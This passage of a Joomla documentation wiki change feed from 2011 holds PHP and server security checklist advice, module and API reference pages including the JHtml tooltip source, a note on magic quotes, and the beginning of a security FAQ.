: Additionally, if &#039;&#039;open_basedir&#039;&#039; is set it may be necessary to set PHP &#039;&#039;upload_tmp_dir&#039;&#039; configuration directive to a path that falls within the scope of &#039;&#039;open_basedir&#039;&#039; or, alternatively, add the &#039;&#039;upload_tmp_dir&#039;&#039; path to &#039;&#039;open_basedir&#039;&#039; using the appropriate path separator for the host system.&lt;br /&gt;
&lt;br /&gt;
     open_basedir = /home/users/you/public_html:/tmp&lt;br /&gt;
&lt;br /&gt;
: PHP will use the system&#039;s temporary directory when &#039;&#039;upload_tmp_dir&#039;&#039; is not set or when it is set but the directory does not exist, therefore it may be necessary to add it to &#039;&#039;open_basedir&#039;&#039; as above to avoid uploading errors within Joomla.&lt;br /&gt;
&lt;br /&gt;
===Adjust magic_quotes_gpc===&lt;br /&gt;
: Adjust the &#039;&#039;magic_quotes_gpc&#039;&#039; directive as needed for your site. The recommended setting for Joomla! 1.0.x is ON to protect against poorly-written third-party extensions. The safest method is to turn &#039;&#039;magic_quotes_gpc&#039;&#039; off and avoid all poorly-written extensions, period. &lt;br /&gt;
&lt;br /&gt;
: Joomla! 1.5 ignores this setting and works fine either way. &lt;br /&gt;
For more information, see either [http://docs.joomla.org/Magic_quotes_and_security Magic quotes and security] or &lt;br /&gt;
[http://us3.php.net/magic_quotes PHP Manual, Chapter 31. Magic Quotes].&lt;br /&gt;
&lt;br /&gt;
      magic_quotes_gpc = 1&lt;br /&gt;
&lt;br /&gt;
===Don&#039;t use PHP safe_mode===&lt;br /&gt;
: Avoid the use of PHP safe_mode. This is a valid but incomplete solution to a deeper problem and provides a false sense of security. See the official PHP site for an explanation of this issue.&lt;br /&gt;
&lt;br /&gt;
      safe_mode = 0&lt;br /&gt;
&lt;br /&gt;
===Don&#039;t use PHP register_globals===&lt;br /&gt;
: Automatically registering global variables was probably one of the dumbest decisions the developers of PHP made. This directive determines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables where they become immediately available to all PHP scripts, and where they can easily overwrite your own variable if you&#039;re not careful. Luckily, the PHP developers long since realized the mistake and have deprecated this &#039;feature&#039;. &lt;br /&gt;
&lt;br /&gt;
: If your site is on a shared server with a hosting provider that insists &#039;&#039;register_globals&#039;&#039; must be on, you should be very worried. Although you can often turn register_globals off for your own site with a local php.ini file, this adds little security as other sites on the same server remain vulnerable to attacks which can then launch attacks against your site from within the server. For more information, see [http://www.zend.com/manual/security.globals.php ZEND Chapter 29. Using Register Globals].&lt;br /&gt;
&lt;br /&gt;
      register_globals = 0&lt;br /&gt;
&lt;br /&gt;
===Don&#039;t use PHP allow_url_fopen===&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t use PHP &#039;&#039;allow_url_fopen&#039;&#039;. This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This can only be set in php.ini due to security reasons.&lt;br /&gt;
&lt;br /&gt;
      allow_url_fopen = 0&lt;br /&gt;
&lt;br /&gt;
==File permissions==&lt;br /&gt;
If a joomla installation is hosted on apache with mod_php, then all virtual hosts on that server run in the same context as your joomla code.  If the files are owned by some other user than &#039;nobody&#039; or &#039;wwwrun&#039;, the safest permissions are those which &#039;&#039;&#039;prevent&#039;&#039;&#039; changes to the joomla code, unless via an authorised channel (e.g. FTP):&lt;br /&gt;
*DocumentRoot directory: 711 (e.g. public_html)&lt;br /&gt;
*Files: 644&lt;br /&gt;
*Directories: 755 (711 if you are paranoid, but not for directories which need to be listed) (owner: some user)&lt;br /&gt;
*Cache and tmp directories: 777  (these directories will contain files owned by the web user - apache/nobody/wwwdata, etc)&lt;br /&gt;
With these permissions set, you will need to use FTP to update your Joomla installation.  Not all modules support this.  Remove modules which do not support FTP upgrades.&lt;br /&gt;
Other processes running under mod_php can read &#039;&#039;&#039;your&#039;&#039;&#039; configuration.php.  You can frustrate automated hacks by renaming this file.  You should not store your FTP password in your configuration file on such hosts, as your account &#039;&#039;will&#039;&#039; be compromised.&lt;br /&gt;
&lt;br /&gt;
If a joomla installation is hosted on apache with fast-cgi, suphp or cgi that runs as a different user, then you should set your permissions as follows:&lt;br /&gt;
* DocumentRoot directory: 711 (e.g. public_html)&lt;br /&gt;
* PHP files: 600 (400 if you are truly paranoid)&lt;br /&gt;
* HTML and image files: 644 (444 if you are truly paranoid)&lt;br /&gt;
* Directories: 755 (711 if you are paranoid, but not for directories which need to be listed)&lt;br /&gt;
* Temp and cache directories: 700 (these are written as your user)&lt;br /&gt;
&lt;br /&gt;
==Setup a backup and recovery process==&lt;br /&gt;
===The most important rule:&#039;===&lt;br /&gt;
: Thou shalt at all time be able to return your site to a previous working state through regular use of a strong, off-site backup and recovery process. Be sure your backup and recovery process is in place and tested BEFORE you go live. This is the single best way (and often the only way) to recover from such inevitable catastrophes as:&lt;br /&gt;
&lt;br /&gt;
# A compromised/cracked site.&lt;br /&gt;
# Broken site due to a faulty upgrade.&lt;br /&gt;
# Hardware failure, such as dead hard drives, power failures, server theft, etc.&lt;br /&gt;
# Authoritarian government intervention. (More common than some think.)&lt;br /&gt;
# Needing to quickly relocate to a new server or hosting provider.&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Help16:Extensions_Module_Manager_Weblinks&amp;diff=59918</id>
		<title>Help16:Extensions Module Manager Weblinks</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Help16:Extensions_Module_Manager_Weblinks&amp;diff=59918"/>
		<updated>2011-06-26T21:46:12Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Basic Options */ Minor misspelling - depreciated != deprecated&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==How to access==&lt;br /&gt;
&lt;br /&gt;
You can access the Weblinks module by either opening an existing Weblinks module in the Module Manager or by creating a new Weblinks Module.&lt;br /&gt;
You can access the Module Manager by going to &#039;&#039;&#039;Extensions &amp;gt; Module Manager&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The Weblinks module will display weblinks from within the Weblinks component.&lt;br /&gt;
&lt;br /&gt;
==Screenshot==&lt;br /&gt;
&lt;br /&gt;
[[Image:j16_mod_weblinks.jpg|frame|center]]&lt;br /&gt;
&lt;br /&gt;
==Outline==&lt;br /&gt;
&lt;br /&gt;
===Basic Options===&lt;br /&gt;
&lt;br /&gt;
[[Image:J16_mod_weblinks_basic.JPG|frame|center]]&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Category&#039;&#039;&#039;:  Select the Weblinks category from which you want to display the links&lt;br /&gt;
*&#039;&#039;&#039;Count&#039;&#039;&#039;:  Choose the number of links you want the module to show.&lt;br /&gt;
*&#039;&#039;&#039;Ordering&#039;&#039;&#039;:  Choose the ordering method&lt;br /&gt;
**&#039;&#039;&#039;Title&#039;&#039;&#039;:  Order links alphabetically.&lt;br /&gt;
**&#039;&#039;&#039;Order&#039;&#039;&#039;:  Sort links based on their ID.&lt;br /&gt;
**&#039;&#039;&#039;Hits&#039;&#039;&#039;:  Sort links, based on how often they were opened by your visitors.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Direction&#039;&#039;&#039;:  Select how you want to apply the method chosen in &#039;&#039;Ordering&#039;&#039;&lt;br /&gt;
**&#039;&#039;&#039;Ascending&#039;&#039;&#039;:  Start with the lowest value (first letter, id, lowest number of hits) and upwards.&lt;br /&gt;
**&#039;&#039;&#039;Descending&#039;&#039;&#039;:  Start with the highest value (last letter, id, highest number of hits) and downwards.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Target window&#039;&#039;&#039;: Choose how to open the links.&lt;br /&gt;
**&#039;&#039;&#039;Open in new window&#039;&#039;&#039;: Opens the link in a new window or tab.  This is often the preferred method.  &lt;br /&gt;
**&#039;&#039;&#039;Open in popup&#039;&#039;&#039;: Opens a pop-up screen.&lt;br /&gt;
**&#039;&#039;&#039;Open in parent&#039;&#039;&#039;:  Opens the site in the same window.  Deprecated, as it leads your visitor away from your site.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Follow / No Follow&#039;&#039;&#039;:  Instruct search engines how they should threat the link&lt;br /&gt;
**&#039;&#039;&#039;Follow&#039;&#039;&#039;:  The search engine will follow the link&lt;br /&gt;
**&#039;&#039;&#039;No follow&#039;&#039;&#039;:  The search engine won&#039;t follow the link.  This is usefull in some SEO scenarios.&lt;br /&gt;
**&#039;&#039;&#039;Description&#039;&#039;&#039;:  Wether or not the description of the link (as added in the Weblinks component) should be shown.&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Hits&#039;&#039;&#039;:  Wether or not the number of clicks for a link should be shown.&lt;br /&gt;
*&#039;&#039;&#039;Count clicks&#039;&#039;&#039;: Wether or not the number of clicks for a link should be recorded.&lt;br /&gt;
**&#039;&#039;&#039;Use global:&#039;&#039;&#039; Use the global settings defined elsewhere.&lt;br /&gt;
**&#039;&#039;&#039;Yes&#039;&#039;&#039;: Enable counting of links (regardless of global settings)&lt;br /&gt;
**&#039;&#039;&#039;No&#039;&#039;&#039;: Disable counting of clicks (regardless of global settings)&lt;br /&gt;
&lt;br /&gt;
===Advanced Options===&lt;br /&gt;
&lt;br /&gt;
[[Image:J16_mod_advanced_4.JPG|frame|center]]&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;Alternative layout&#039;&#039;&#039; Apply an alternative layout or template override&lt;br /&gt;
*&#039;&#039;&#039;Module Class Suffix&#039;&#039;&#039; Apply a CSS suffix to the module&lt;br /&gt;
{{colheader|Caching}}&lt;br /&gt;
{{colheader|Cache Time}}&lt;br /&gt;
&lt;br /&gt;
==Quick Tips==&lt;br /&gt;
&lt;br /&gt;
No tips have been added.&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=API16:JHtml/tooltip&amp;diff=59916</id>
		<title>API16:JHtml/tooltip</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=API16:JHtml/tooltip&amp;diff=59916"/>
		<updated>2011-06-26T21:45:35Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Syntax */ Minor misspelling - depreciated != deprecated&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Description===&lt;br /&gt;
Creates a tooltip with an image as button&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span class=&amp;quot;editsection&amp;quot; style=&amp;quot;font-size:76%;&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;nowiki&amp;gt;[&amp;lt;/nowiki&amp;gt;[[Description:JHtml/tooltip|Edit Descripton]]&amp;lt;nowiki&amp;gt;]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Description:JHtml/tooltip}}&lt;br /&gt;
&lt;br /&gt;
===Syntax===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;static tooltip($tooltip, $title= &#039;&#039;, $image= &#039;tooltip.png&#039;, $text= &#039;&#039;, $href= &#039;&#039;, $link=1)&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
!Parameter Name&lt;br /&gt;
!Default Value&lt;br /&gt;
!Description&lt;br /&gt;
|-&lt;br /&gt;
| $tooltip&lt;br /&gt;
| &lt;br /&gt;
|  $tooltip The tip string &lt;br /&gt;
|-&lt;br /&gt;
| $title&lt;br /&gt;
| &#039;&#039;&lt;br /&gt;
|  $title The title of the tooltip &lt;br /&gt;
|-&lt;br /&gt;
| $image&lt;br /&gt;
| &#039;tooltip.png&#039;&lt;br /&gt;
|  $image The image for the tip, if no text is provided &lt;br /&gt;
|-&lt;br /&gt;
| $text&lt;br /&gt;
| &#039;&#039;&lt;br /&gt;
|  $text The text for the tip &lt;br /&gt;
|-&lt;br /&gt;
| $href&lt;br /&gt;
| &#039;&#039;&lt;br /&gt;
|  $href An URL that will be used to create the link &lt;br /&gt;
|-&lt;br /&gt;
| $link&lt;br /&gt;
| 1&lt;br /&gt;
|  deprecated &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Returns===&lt;br /&gt;
string &lt;br /&gt;
&lt;br /&gt;
===Defined in===&lt;br /&gt;
libraries/joomla/html/html.php&lt;br /&gt;
===Importing===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;jimport( &#039;joomla.html.html&#039; );&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Source Body===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
public static function tooltip(&lt;br /&gt;
        $tooltip, $title = &#039;&#039;, $image = &#039;tooltip.png&#039;, $text = &#039;&#039;, $href = &#039;&#039;, $link = 1&lt;br /&gt;
)&lt;br /&gt;
{&lt;br /&gt;
        $tooltip        = addslashes(htmlspecialchars($tooltip, ENT_COMPAT, &#039;UTF-8&#039;));&lt;br /&gt;
        $title          = addslashes(htmlspecialchars($title, ENT_COMPAT, &#039;UTF-8&#039;));&lt;br /&gt;
&lt;br /&gt;
        if (!$text) {&lt;br /&gt;
                $image  = JURI::root(true).&#039;/includes/js/ThemeOffice/&#039;. $image;&lt;br /&gt;
                $text   = &#039;&amp;lt;img src=&amp;quot;&#039;. $image .&#039;&amp;quot; border=&amp;quot;0&amp;quot; alt=&amp;quot;&#039;. JText::_(&#039;Tooltip&#039;) .&#039;&amp;quot;/&amp;gt;&#039;;&lt;br /&gt;
        } else {&lt;br /&gt;
                $text   = JText::_($text, true);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        if ($title) {&lt;br /&gt;
                $title .= &#039;::&#039;;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        $style = &#039;style=&amp;quot;text-decoration: none; color: #333;&amp;quot;&#039;;&lt;br /&gt;
&lt;br /&gt;
        $tip = &#039;&amp;lt;span class=&amp;quot;editlinktip hasTip&amp;quot; title=&amp;quot;&#039; . $title . $tooltip . &#039;&amp;quot; &#039;&lt;br /&gt;
                . $style . &#039;&amp;gt;&#039;;&lt;br /&gt;
        if ($href) {&lt;br /&gt;
                $href = JRoute::_($href);&lt;br /&gt;
                $style = &#039;&#039;;&lt;br /&gt;
                $tip .= &#039;&amp;lt;a href=&amp;quot;&#039; . $href . &#039;&amp;quot;&amp;gt;&#039; . $text . &#039;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#039;;&lt;br /&gt;
        } else {&lt;br /&gt;
                $tip .= $text . &#039;&amp;lt;/span&amp;gt;&#039;;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        return $tip;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span class=&amp;quot;editsection&amp;quot; style=&amp;quot;font-size:76%;&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;nowiki&amp;gt;[&amp;lt;/nowiki&amp;gt;[[SeeAlso:JHtml/tooltip|Edit See Also]]&amp;lt;nowiki&amp;gt;]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
{{SeeAlso:JHtml/tooltip}}&lt;br /&gt;
&lt;br /&gt;
===Examples===&lt;br /&gt;
&amp;lt;CodeExamplesForm /&amp;gt;&lt;br /&gt;
&amp;lt;dpl&amp;gt;&lt;br /&gt;
 noresultsheader=\n&lt;br /&gt;
 category=tooltip&lt;br /&gt;
 category=JHtml&lt;br /&gt;
 category=CodeExample&lt;br /&gt;
 category=MethodExample&lt;br /&gt;
 include=*&lt;br /&gt;
 format= ,,,&lt;br /&gt;
&amp;lt;/dpl&amp;gt;&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=API15:JHTML/tooltip&amp;diff=59915</id>
		<title>API15:JHTML/tooltip</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=API15:JHTML/tooltip&amp;diff=59915"/>
		<updated>2011-06-26T21:45:18Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Syntax */ Minor misspelling - depreciated != deprecated&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Description===&lt;br /&gt;
Creates a tooltip with an image as button&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span class=&amp;quot;editsection&amp;quot; style=&amp;quot;font-size:76%;&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;nowiki&amp;gt;[&amp;lt;/nowiki&amp;gt;[[Description:JHTML/tooltip|Edit Descripton]]&amp;lt;nowiki&amp;gt;]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Description:JHTML/tooltip}}&lt;br /&gt;
&lt;br /&gt;
===Syntax===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;tooltip($tooltip, $title=&#039;&#039;, $image=&#039;tooltip.png&#039;, $text=&#039;&#039;, $href=&#039;&#039;, $link=1)&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
!Parameter Name&lt;br /&gt;
!Default Value&lt;br /&gt;
!Description&lt;br /&gt;
|-&lt;br /&gt;
| $tooltip&lt;br /&gt;
| &lt;br /&gt;
|  $tooltip The tip string &lt;br /&gt;
|-&lt;br /&gt;
| $title&lt;br /&gt;
| &#039;&#039;&lt;br /&gt;
|  $title The title of the tooltip &lt;br /&gt;
|-&lt;br /&gt;
| $image&lt;br /&gt;
| &#039;tooltip.png&#039;&lt;br /&gt;
|  $image The image for the tip, if no text is provided &lt;br /&gt;
|-&lt;br /&gt;
| $text&lt;br /&gt;
| &#039;&#039;&lt;br /&gt;
|  $text The text for the tip &lt;br /&gt;
|-&lt;br /&gt;
| $href&lt;br /&gt;
| &#039;&#039;&lt;br /&gt;
|  $href An URL that will be used to create the link &lt;br /&gt;
|-&lt;br /&gt;
| $link&lt;br /&gt;
| 1&lt;br /&gt;
|  deprecated &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Returns===&lt;br /&gt;
string &lt;br /&gt;
&lt;br /&gt;
===Defined in===&lt;br /&gt;
libraries/joomla/html/html.php&lt;br /&gt;
===Importing===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;jimport( &#039;joomla.html.html&#039; );&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Source Body===&lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
function tooltip($tooltip, $title=&#039;&#039;, $image=&#039;tooltip.png&#039;, $text=&#039;&#039;, $href=&#039;&#039;, $link=1)&lt;br /&gt;
{&lt;br /&gt;
        $tooltip        = addslashes(htmlspecialchars($tooltip, ENT_QUOTES, &#039;UTF-8&#039;));&lt;br /&gt;
        $title          = addslashes(htmlspecialchars($title, ENT_QUOTES, &#039;UTF-8&#039;));&lt;br /&gt;
&lt;br /&gt;
        if ( !$text ) {&lt;br /&gt;
                $image  = JURI::root(true).&#039;/includes/js/ThemeOffice/&#039;. $image;&lt;br /&gt;
                $text   = &#039;&amp;lt;img src=&amp;quot;&#039;. $image .&#039;&amp;quot; border=&amp;quot;0&amp;quot; alt=&amp;quot;&#039;. JText::_( &#039;Tooltip&#039; ) .&#039;&amp;quot;/&amp;gt;&#039;;&lt;br /&gt;
        } else {&lt;br /&gt;
                $text   = JText::_( $text, true );&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        if($title) {&lt;br /&gt;
                $title = $title.&#039;::&#039;;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        $style = &#039;style=&amp;quot;text-decoration: none; color: #333;&amp;quot;&#039;;&lt;br /&gt;
&lt;br /&gt;
        if ( $href ) {&lt;br /&gt;
                $href = JRoute::_( $href );&lt;br /&gt;
                $style = &#039;&#039;;&lt;br /&gt;
                $tip = &#039;&amp;lt;span class=&amp;quot;editlinktip hasTip&amp;quot; title=&amp;quot;&#039;.$title.$tooltip.&#039;&amp;quot; &#039;. $style .&#039;&amp;gt;&amp;lt;a href=&amp;quot;&#039;. $href .&#039;&amp;quot;&amp;gt;&#039;. $text .&#039;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#039;;&lt;br /&gt;
        } else {&lt;br /&gt;
                $tip = &#039;&amp;lt;span class=&amp;quot;editlinktip hasTip&amp;quot; title=&amp;quot;&#039;.$title.$tooltip.&#039;&amp;quot; &#039;. $style .&#039;&amp;gt;&#039;. $text .&#039;&amp;lt;/span&amp;gt;&#039;;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        return $tip;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span class=&amp;quot;editsection&amp;quot; style=&amp;quot;font-size:76%;&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;nowiki&amp;gt;[&amp;lt;/nowiki&amp;gt;[[SeeAlso:JHTML/tooltip|Edit See Also]]&amp;lt;nowiki&amp;gt;]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
{{SeeAlso:JHTML/tooltip}}&lt;br /&gt;
&lt;br /&gt;
===Examples===&lt;br /&gt;
&amp;lt;CodeExamplesForm /&amp;gt;&lt;br /&gt;
&amp;lt;dpl&amp;gt;&lt;br /&gt;
 noresultsheader=\n&lt;br /&gt;
 category=tooltip&lt;br /&gt;
 category=JHTML&lt;br /&gt;
 category=CodeExample&lt;br /&gt;
 category=MethodExample&lt;br /&gt;
 include=*&lt;br /&gt;
 format= ,,,&lt;br /&gt;
&amp;lt;/dpl&amp;gt;&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Magic_quotes_and_security&amp;diff=59914</id>
		<title>Magic quotes and security</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Magic_quotes_and_security&amp;diff=59914"/>
		<updated>2011-06-26T21:44:57Z</updated>

		<summary type="html">&lt;p&gt;Royce: Minor misspelling - depreciated != deprecated&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;JRequest automatically takes into account the setting of &#039;&#039;magic_quotes_gpc&#039;&#039; and adjusts accordingly.  If developers are using JRequest to request input then the actual value of the setting doesn&#039;t matter.  If developers aren&#039;t using it then they will have to take the setting of magic_quotes_gpc into account.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Magic Quotes Off&#039;&#039;&#039; there is an &amp;quot;increased&amp;quot; risk of SQL Injections due to poorly written&lt;br /&gt;
queries not being safely escaped in extensions hence the general PHP and JTS recommendation&lt;br /&gt;
that Magic Quotes be ON by default (although in the past PHP has left them&lt;br /&gt;
disabled in the default distribution) for a more secure environment.&lt;br /&gt;
&lt;br /&gt;
This setting is now basically irrelevant (can be On or Off) due to the way that Joomla! has been written to overcome the problem of poorly written queries.&lt;br /&gt;
&lt;br /&gt;
The setting is now deprecated and has actually been removed in later PHP releases anyway, hence developers of older PHP applications will need to complete a code review for compliance, and&lt;br /&gt;
safety, of which has already been completed by Joomla! quite some time ago and the issue was resolved with JRequest.&lt;br /&gt;
&lt;br /&gt;
In the past, there has been much discussion regarding the performance implications of this setting, in general from my testing and experience, it was negligible at worst and unnoticed at best, unless the queries were very very large,  but on the whole the trade-off of improved security against&lt;br /&gt;
SQL Injections far outweighs any discussions surrounding performance.&lt;br /&gt;
&lt;br /&gt;
For more on [http://us3.php.net/magic_quotes magic quotes]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Edited from a discussion on Joomla CMS development Mailing list between A Eddie, R Winter and C Mandville&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=J1.5:How_do_I_Remove_Numbering_on_Section/Category_Archive_Page.&amp;diff=59913</id>
		<title>J1.5:How do I Remove Numbering on Section/Category Archive Page.</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=J1.5:How_do_I_Remove_Numbering_on_Section/Category_Archive_Page.&amp;diff=59913"/>
		<updated>2011-06-26T21:44:35Z</updated>

		<summary type="html">&lt;p&gt;Royce: Minor misspelling - depreciated != deprecated&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== &#039;&#039;&#039;Remove Numbering on Section/Category Archive Page.&#039;&#039;&#039; ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you are referring to Category List Layout. You have to edit the file default_items.php located in the directory &lt;br /&gt;
\components\com_content\views\category\tmpl&lt;br /&gt;
to remove the number. &lt;br /&gt;
In case if you have a file default_items.php located in the directory &lt;br /&gt;
\components\your-template-name\com_content\category &lt;br /&gt;
then you should edit that file.&lt;br /&gt;
&lt;br /&gt;
[[Category:Deprecated]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=59912</id>
		<title>Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=59912"/>
		<updated>2011-06-26T21:44:08Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}} */ Minor misspelling - depreciated != deprecated&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
= Getting Started =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Is GNU and Open Source software worth the costs and risks?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling: &lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Applications&#039;&#039;&#039; !! &#039;&#039;&#039;Industry Leader&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| GNU/Linux&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Apache Web Server&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| MySQL Relational Database&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| PHP Scripting Language&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Content Management System&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Joomla Extensions&lt;br /&gt;
| Varies&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! &#039;&#039;&#039;Support&#039;&#039;&#039; !! &#039;&#039;&#039;Relative Quality&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Project Leadership Team&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Forge&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Online Forums&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Documentation&lt;br /&gt;
